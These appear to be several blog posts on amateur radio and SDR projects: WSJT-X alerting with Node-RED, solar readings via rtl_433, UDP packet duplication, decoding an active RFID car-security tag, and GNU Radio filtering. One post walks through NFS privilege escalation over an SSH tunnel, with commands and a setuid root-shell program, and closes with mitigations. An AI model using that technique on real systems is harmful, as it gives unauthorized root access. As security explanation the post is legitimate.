Node-Red WSJTX

WSJT-X monitoring with py_wsjtx & Node-RED

An article about Node-RED by G4WNC in a recent Practical Wireless gave me the push to try and use it in my own radio set-up for alerting and monitoring using a spare Raspberry Pi.

The goal is to receive notifications when my own local radio spots new DXCC on HF bands, any WSPR or JT spots on 6m+ and to plot the 2m JT65b beacons I can hear over time amongst other things.

Prior to this I was only monitoring the beacons using a script and forwarding this to openHAB over MQTT to display alongside some house statistics. This wasn’t too flexible and openHAB is a bit of a burden on the Pi which would randomly hang.

For this project I’m wanting to take inputs from different physical radios & SDR with multiple copies of WSJT-X to display, log certain decodes and alert me in multiple ways if interesting things are seen.

The set-up currently has three radio inputs, each of these has a WSJT-X instance with its own configuration:

  1. HF Radio (IC-7300 and/or FT-817)
  2. VHF Radio (FT-847)
  3. GQRX (IF out of FT-847)

Input 1 is set to whatever I’ve left the HF radios monitoring.

Inputs 2 and 3 are usually set to monitor the two JT65B enabled 2m beacons I can hear from this location, GB3VHF and GB3NGI, using the same antenna. I have this graphed on openHAB but it’s not working great so will be using something else and graphing from the database instead at some point.

WSJT-X can output status messages and decodes over the network to a configured address, this is discussed in a previous blog post where we split the output to AlarmeJT and CQRLOG. We will add a third listener on an extra port, py_wsjtx.

Py_wsjtx is a Python network listener that takes the network output from WSJT-X and displays it in a console, either line by line or a curses interface. I have all of the WSJT-X instances sending their data to a single py_wsjtx instance.

py_wsjtx

As can be seen above, this is really handy for monitoring things from a console rather than the GUI and will highlight new DXCC spots and CQ calls. It can also output the decoded messages to an MQTT broker if configure which comes in really useful for what we’re doing here.

Node-RED allows us to easily take these MQTT inputs, process them in whatever way we want and act upon them. The image below shows the current set-up.

Node-Red WSJTX

The purple boxes are MQTT inputs and outputs, each of these points to an MQTT broker (running on the same Raspberry Pi) and listens or sends messages for a particular topic. Py_wsjtx sends MQTT messages in the format py_wsjtx/WSJT-X radioname/messagetype which makes it easy for us to configure Node-RED to process them in the correct manner for instance filtering by radio or by decode type.

Working from the top row of the flow down:

  1. GQRX and FT847 JT65b beacon decodes are converted to JSON, then they are forwarded on in three ways:
    1. All decodes go to openHAB which is graphing things at the moment, this is shown in the image below and I have it copied to my qrz.com page, I’ll be changing this shortly to something more reliable/configurable.Beacon monitoring
    2. All decodes are logged to a MySQL database which I will use for generating graphs when we stop using openHAB.
    3. If the decodes are above set levels, <5 for GB3NGI and <20 for GB3VHF, then send a post to twitter and to me on a local IRC server.
  2. Next we have DXCC alerts from WSJT-X, if it spots a new country then a message is sent to twitter and IRC with the spot, hopefully I will see it and respond. To make it more interesting I had it ring the shack doorbell, I’ve got two ways to do this, using a HackRF to replay the wireless doorbell, which is a bit of a waste of an expensive SDR, or ringing via a second remote unit using the Pi GPIO pins. The ringer got annoying quickly so it’s now turned off, flashing a light may be better!
  3. Next up we have an input for any WSPR spots on any radio. I’m not doing much with this at the moment other than alerting me on local IRC/twitter if there are any spots on 6m/4m/2m, I don’t often have WSPR listeners on these band though but if I think conditions are looking likely I will switch one of the WSJT-X instances to it.
  4. The solar inverter statistics are sent out on 433.9mhz and I use an RTL SDR dongle to receive them and decode with the program rtl_433. These are then rate limited and forwarded to openHAB as well as being written to the database.
  5. The other MQTT inputs are DHT11 temperature and humidity sensors in the house hooked up to various Pi I have. I’ve not got around to doing anything with these in Node-RED yet but they are currently used by openHAB.

Not much more to say other than it works well for me and I plan on playing about with the flow some more to add some more alerting rules and cutting openHAB out of the solution entirely by graphing the outputs from the database in a more accessible way.

Solar PV Output in openHAB Using RTL_433

I’ve been playing a little with the fantastic open source home monitoring and automation solution openHAB on a Raspberry PI 2 . Having started off with some small temperature/humidity sensors I was looking for something else to add and the stats from the Solar panels were an obvious want.

I previously had the Inverter monitored using using Auroramon as described here. This was great but it’s stopped working and I’m putting off crawling around the attic to debug the issue for as long as possible.

I can keep an eye on the Inverter output using a standalone wireless monitor, the OWL Micro+, which has a small transmitter sensor clamped to the output from the Inverter giving current generation statistics. There is however no way of hooking this up to a computer to record the stats, so enter rtl_433..

The rtl_433 application uses an RTL SDR dongle to receive and decode a huge selection of wireless sensors transmitting on 433 MHz. I didn’t see the OWL device in the list but on running rtl_433 we see statistics generated every 15 seconds when power is being generated and totals every 60 seconds when there’s no generation.

Energy Sensor CM180 Id 62a0 power: 48W, total: 11242215648W, Total Energy: 3122.837kWh

With the output from this we can pull out the power generated and send it via an MQTT message using mosquitto_pub to a listening MQTT broker we have openHAB set up to use already.

This is ghastly but it works for now, for some reason the unit reads 48w when idle so there’s a bit of fiddling to make it idle at 1:

rtl_433 2> /dev/null | xargs -I {} sh -c “mosquitto_pub -h 192.168.1.1 -t solar -m \$(echo {} |  sed -e ‘s/, .*//’ -e ‘s/^.*: \([0-9]\+\).*/\1/’|while read spo; do if [ \$spo -gt 50 ]; then echo \$spo; else echo 1; fi; done)”

I’ve made some changes to my set-up where everything is now being fed in to node-red which processes MQTT messages so the following is a bit more simple and outputs in JSON and lets node-red do the filtering:

rtl_433 -R 12 -F json 2> /dev/null | parallel –tty -k mosquitto_pub -h 192.168.1.1 -t solarout -m {}

At the openHAB side I’ve an item “solar” set up and can see the current generation and day/week charts, it’s been running a few days now and been no problem at all!

Screenshot-16

Future plans with this one will be to capture the output in a less Frankenstein manner or maybe risk broken ribs by crawling around the roof space to fix the monitor on the Inverter.

AlarmeJT

Using WSJT-X in Linux with CQRLOG and AlarmeJT

WSJT-X offers a handy UDP network service for two way communication with other applications such as logging or monitoring software, but I had some difficulties using it with multiple applications at the same time.

WJST-X is set up to communicate with a listening UDP server in the Settings->Reporting section as the image below, by default it is set up to send packets to the localhost port 2237.

WSJT-X UDP Server Settings

There are a number of software packages in Linux that support this communication from WSJT-X such as CQRLOG and AlarmeJT.

CQRLOG uses it in remote mode to allow automatic logging of QSOs from WSJT-X saving a lot of time and errors.

AlarmeJT, pictured below, is a handy application that takes decodes and displays them alongside information such as whether the DXCC/Locator is required based on logs provided to it and can communicate in response to WSJT-X to tune to the selected call.

AlarmeJT

The only problem is by default, as far as I understand, we can only use one of these programs at a time with WSJT-X. WSJT-X sends its UDP traffic to one address/port but each of the two consuming applications will try to exclusively bind this port preventing the other application from doing the same.

WSJT-X can be configured to send to multicast addresses to allow multiple applications on the network to consume the same data. However I’m running both applications on the same workstation and one of the applications doesn’t allow the listener IP to be set and the other wouldn’t let me change the settings at all in addition to the binding issues. So the plan was to find some way of duplicating the UDP packets to multiple destinations.

Some Startpage searching before attempting to do this with iptables or Python (a quick test indicated it would be possible) identified an already written user-space tool, samplicator, that does the forwarding we need here. It is easy to compile and use.

The idea is to have WSJT-X configured to send to the samplicator listener on local port 2000 and have it send copies of the received packets to a CQRLOG listener on port 2238 and also to an AlarmeJT listener on the default port 2237.

Packet Flow
The command to implement this is as below and I’ve put it in my /etc/rc.local to run at boot.

samplicate -S -p 2000 127.0.0.1/2237 127.0.0.1/2238

Here we are listening on port 2000 and forwarding copies of the UDP packets to 127.0.0.1 port 2237 and 2238. The -S options is especially handy as it spoofs the source addresses to appear exactly as sent which allows the consuming applications to communicate in response such as to allow tuning to a station when clicking on a CQ in AlarmeJT, without this set they can just consume the data.

It seems to work well with the limited traffic we’re using here and lets me parse decodes quickly for their statistics, tune quickly to calls and to log the successful QSO automatically. Now I just need to make a few hundred contacts to make up for the time spent fiddling about with this stuff to save time…

NFS Pivoting Via SSH For Easy Privilege Escalation And More

It’s possible to take advantage of insecure NFS mounts to escalate privileges on a system you have user level SSH access to without introducing any tools to the remote system by tunneling our NFS traffic and having our source appear to be that of the target server. This can be done without direct network access to the NFS server and does not require us being defined in the exports access control list. If the NFS server was directly accessible and mountable from our location we would just do this the normal way and mount directly.

In this instance the set-up might be a Linux server that has a mounted NFS export without root_squash or secure set and is mounted without the nosuid or noexec option. This situation is not that uncommon in NFS heavy environments.

We also do not need to be able to route directly to the NFS server from our attacker location so it being in an inaccessible or firewalled zone doesn’t cause a problem. By tunnelling the NFS connection using SSH port forwarding we will be assuming the identity of the target server so if an export is available to it, it’s available to us!

The three systems described in the scenario are as below, the NFS server is only accessible to the target system here.

      +----------+   +--------+   +------------+
      | Attacker |-->| Target |-->| NFS Server |
      +----------+   +--------+   +------------+

Firstly check the mounted file systems on the target system with the mount command looking for an already mounted NFS export that you have read access to and is not mounted with the nosuid/noexec options:

nfs-filer:/export/filesystem1 on /filesystem1 type nfs (rw,addr=1.2.3.4)

Take a note of the IP address of the NFS server and also take note of other exported file systems that may be available to the target but not mounted using showmount -e.

Back on the attacker system, ssh to the target and port forward the local NFS port 2049 to the remote NFS server port 2049 via the target.

attacker # ssh -L 2049:NFS-Server-IP:2049 ouruser@target

Now as long as the above was successful, on the attackers system as root we locally mount the chosen export using our forwarded port.

attacker # mount -v -t nfs -o port=2049,tcp localhost:/export/filesystem1 /mnt/filesystem1

Now on the attacker system we check that we can access the contents of /mnt/filesystem1 and that we have write access as root by creating a file and checking the owner on the target system, this should be owned by root.

attacker # touch /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rw-r–r– 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now back on the attacker host we can chmod +s this file to check suid files can be created and we should hopefully see the following:

attacker # chmod +s /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now if we want to take advantage of this on the attacker system we can do something like the following to create a suid binary, this can be compiled on the remote file system or the attacker system depending on the circumstances.

attacker # cat suidsh.c
#include
int main() { setuid(0); setgid(0); execl(/bin/sh, sh, NULL); }
attacker # gcc -o /mnt/filesystem1/.nfstest suidsh.c
attacker # chmod +s /mnt/filesystem1/.nfstest

Now head on over to the target system and do the deed:

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest
target $ id
uid=1000(luser) gid=1000(luser) groups=1000(lusers)
target $ /filesystem1/.nfstest
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# #bingo :)

Even if the above fails due to root squashing, nosuid or some other reason we still have access to the contents of the exported file system via our tunnelled mount which in itself might provide enough win.

Another thing we can do is to mount file systems that are available to the target system even if they are not mounted by the target. It’s always worth having a look around for other NFS exports or servers that might be available to the Target that can be tunnelled in this way.

A few NFS export options can be set to prevent the above, the use of the secure option will require connections come from a port below 1024 meaning our mounting as a normal user using an SSH tunnel would not work. The use of root_squash which is a common default now would also prevent us becoming root, however we may still be able to become or alter another users content which might lead to root privileges. The local mount options of nosuid and noexec would prevent suid files and executable files on the mount but again there may be other ways to escalate depending on the file system contents.

The above will also not work if ssh port forwarding has been disabled, however with shell access on the target system we can just do this another way if needs be. We could also do a lot of the above with user space tools introduced to the target system but I prefer solutions that do not require uploading tooling to systems wherever possible.

SDR / GNU Radio Tutorials

It doesn’t take too long once you get your hands on an SDR to realise that there’s a lot to learn if you want to move beyond being a consumer of programs and applications others produce. This is where I find myself at the moment, and it is a bit like being back at school but fun.

Here’s a few resources I’ve been reading, watching or have bookmarked in no particular order relating to SDR and GNU Radio. As a beginner in this I can’t fully vouch for their quality but they seem okay!

Analysing An Active RFID Card

The next device from the box of bits was a pair of active RFID cards from a top of the range vehicle security system used around 2001-2003. These tags were required to be on your person to start the car in addition to a key. This is just an analysis of the cards RF transmissions and not the system itself as I don’t own one.

Popping open the two cards we can see they have similar layouts but the newer board on the right doesn’t look as clean and does not have any PCB labelling. The keys each have a serial number sticker on the back of the PCB as well as having it printed on the front of the card.

The two RFID tokens.

The two RFID tokens

There are not many components on the card, we can see an SMD EEPROM along with a small SAW device and the PCB antenna. Looking up the SAW device documentation indicated that it will most likely be transmitting in the 433Mhz ISM band on 433.900.

The batteries in the cards had long run out, so we just hooked them up to an external power supply and monitored with the HackRF and GQRX, this would have worked fine with the RTL SDR device too. We see a short transmission on 433.920Mhz roughly every 5 seconds but it does vary a bit. The frequency reading is wrong below as the screen shot was captured off an IQ replay.

Clear signal.

Clear signal.

On looking at this a bit closer with baudline it unsurprisingly looks to be an on off keying AM signal. Importing a saved audio clip in to Audacity shows the signal, the first capture looked a bit odd with dips and other strangeness but it turned out I was a bit off frequency, fixing the frequency gave a clearer capture.

Unclean off frequency capture.

Unclean off frequency capture.

The first thing I wanted to do was level off the signals to allow for an easier visual comparison, the capture below shows the original signal up top and the altered one below. I used a the same script I used with the previous doorbell project and we can count 78 peaks in each tokens transmission.

Full capture with the second channel prettified

Full capture with the second channel prettified

Comparing transmissions showed that the token is beaconing the same pattern over and over so maybe they are easily repayable as with the doorbell. Interestingly when we look at the two tokens with different serial numbers next to each other we can see a quite long period at the start where they roughly match followed by not too dissimilar patterns after. At this stage I’m guessing the serial numbers are likely just being beaconed following the preamble/synchronisation signal.

The signals patch prior to the red line.

The signals match prior to the red line.

The timings were not particularly consistent even in the initial preamble to allow them to be lined up easily and my previous script to guess binary output based on the period of time (NRZ) was not working perfectly due to this.

There appeared to be two spacing times, one around 18 samples and one around 45 samples but these varied by +/- 10 samples which added up to a large error by the end of the 78 state changes. In order to sort this out I added an option to the script we created for the doorbell to make the sample spacing gaps even. So in this instance a sample space of >30 = 40 and <30 = 20 gives us an easy to compare output.

A resized comparison showing some matching digits

A resized comparison showing matching digits

Now that the WAV file has evenly spaced samples, we can compare them easier as can be seen in the image above of the two tokens beside each other. The initial preamble matches perfectly between each transmission up to the previously indicated red line and would seem to have 5 8 bit components going by the peak count. Handily enough, the tokens 6 digit serial numbers share one digit in the same place and we can see where these match between the two tokens, we can also see this digit repeated again in two other places in the second serial number, these are indicated in the image above.

Now on to the actual decoding! The number of peaks, 78, doesn’t really tally with the indication from the preambles/synchronisation that each part is 8 bits. We now have to turn to a different encoding mechanism commonly used for this sort of cheap OOK device, Manchester encoding. This is better explained somewhere like http://www.quickbuilder.co.uk/qb/articles/, but the idea is that instead of counting the peaks and troughs as a high or low as you might when taking a look at it, we use the transition between high and low values in the middle of a set time period to define the 1 or 0.

As we have already altered our file to have a consistent spacing of 20 or 40 samples we can script reading this Manchester encoding easily by starting at the first state change position, measuring forward 39 samples and detecting whether the value increases or decreases in that time period and repeating this process until the end of the file.

This gives us the following binary output which looks very promising, we can see the matching patterns for the shared digits in the serial numbers between the tokens. The first 5 preamble bytes are the same, 6 is different, and 7 is the same matching the digit 0 in each of the tokens at position 2 with token 2 having two further digit 0’s all in bold.

Token 1: 11111111 01010101 10101010 01010101 00110110 00110001 00110000
Token 2: 11111111 01010101 10101010 01010101 00110110 00110100 00110000
Token 1: 00110001 00111001 00110011 00110010 00000000 10111011
Token 2: 00110000 00110111 00110000 00110011 00110000 11100100

Now converting each of these from binary to hexadecimal we get a match for ASCII characters so by adding an extra decode step to the script processing the file containing the resized signal, we can see the serial numbers they are broadcasting!

stats.py -i gqrx_20140905_134055_433900000-tag-101932.resize.wav -m
Manchester encoding, channel: 0 offset: 40 boundary: 40
ASCII: �U�U6101932

stats.py -i gqrx_20140905_134055_433900000-tag-400703.resize.wav -m
Manchester encoding, channel: 0 offset: 40 boundary: 40
ASCII: �U�U64007030�

So we have managed to go from a captured signal to decoding a beacon from an active RFID card in not too many steps. I’m not going to go in to any more details but it doesn’t seem a particularly secure security device on the evidence we have gathered here.

Now this would be a lot nicer if I could do it with GNU Radio as it is happening, but small steps!

Filtering a Capture with GNU Radio

So after the previous post where I was sending out a rather large sample, I had a look in to filtering things a bit. The first step in the doorbell example should have been to sample as low as possible to limit it to the minimum sample size.

In order to test filtering with GNU Radio, I captured a sample with a short transmission at +100kHz followed by another shortly later at +300kHz using the basic capture flow in the previous post and used this with a waterfall to observe the output. The goal was to filter out the +300kHz signal.

Searching for “filter” turned up a low pass filter which sounded about right, with a bit of trial and error with the “Transition Width” which didn’t work when set to 0 or a low figure we can see the output when the filter is set to 500kHz.

Low Pass Filter Flow500khz low pass filterChanging the cut off value to 150kHz shows the following where we can see the +300kHz signal has been filtered out.150khz filterWe can still see the band where it transmits and the signal outside the filter but I assume this is due to the strength of the signal in the original capture.

Trying this out adding the HackRF as a sink and listening with another receiver confirms that only the +100kHz signal is being transmitted with nothing heard on the +300kHz frequency.

I’d still like to figure out what the transition actually is, if anything at all is being transmitted outside the filter frequency and if there’s a way to have it filter in one direction from the centre frequency instead of both although for my purposes the filter above is enough.

Since writing this I’ve messed about with some of the other filters that also work well. I did run in to a problem with some GNU Radio 3.6 blocks being used instead of the 3.7 ones. For instance when trying to use the bandpass filter I received this error:

cannot import name firdes

Removing /usr/local/share/gnuradio/grc/blocks/band_pass_filter.xml did the trick here to get it working and let the 3.7 filter_band_pass_filter.xml be used. I did this for a couple of the blocks before removing all of the older dated ones, I’ve not seen any problems but a total clean up might be in order prior to a reinstall.